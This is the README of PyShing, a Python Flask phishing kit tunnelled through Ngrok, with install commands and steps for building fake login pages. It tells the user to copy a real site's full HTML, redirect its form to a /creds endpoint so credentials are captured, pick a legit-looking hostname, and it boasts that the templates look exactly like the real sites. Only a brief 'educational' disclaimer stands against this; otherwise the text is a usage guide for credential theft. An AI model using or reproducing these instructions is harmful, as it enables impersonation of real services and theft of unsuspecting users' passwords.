PythonPhishing is a powerful in python written phishing tool.
PythonPhishing is a powerful phishing written in python. It works with Python Flask and Ngrok for tunneling.
Use PyShing for educational proposes only! The contributors aren't responsible for the damage made by this tool!
Python version 3.5 - 3.9
git clone https://github.com/TralseDev/PyShing.git
pip3 install -r requirements.txt
python3 main.py
-
I step:
- To create a custom phishing page you have to create a directory inside
/siteswith the name of the website (the Label1 likeFacebookorTwitterand not the domain likefacebook.comortwitter.com!). There you have to create a file namedurl.txt, where you write the url in it. That's the directory all data and phished credentials will be saved in!
- To create a custom phishing page you have to create a directory inside
-
II step:
- Visit the original web page, copy the COMPLETE HTML source into a file. Rename file to website's name +
.html(i.e.github.html). Make sure to changeform's action to/creds, to recieve credentials server-sided! Also don't forget to setnameattribute of username / email / phone input field tousernameand password's input field topassword. - Note: If you should get problems with the page or any JS script interrupts the page remove it! PyShing doesn't correct or parse your HTML files, so if they are corrupted they will stay corrupted!
- Visit the original web page, copy the COMPLETE HTML source into a file. Rename file to website's name +
-
III step:
python3 main.py, then choose your page!
Note: We will be thankful for sent finished templates! <3
-
Ngrok
- PyShing uses Ngrok for port tunneling.
- If ngrok is not installed it gets installed automatically. Note: The downloaded ngrok binary could not run because of different architectures! If so download ngrok yourself and choose the appropriate binary!
- Pro tip: if you are Ngrok pro user:
- Start Ngrok
ngrok http 1337 -hostname whatever.comwith the wanted preferences and legit-looking hostname before PyShing to use that URL!
- Start Ngrok
- PyShing uses Ngrok for port tunneling.
-
1:1 templates
- All templates look 100%ly like the real templates!
Tralse
- 1.0
- Stable version
This project is licensed under the GNU General Public License v3.0 (GNU GPLv3 License). LICENSE file also contains Flask's license (BSD-3-Clause License). Great thanks to Flask <3
Create more templates & Finish google's and twitter's template!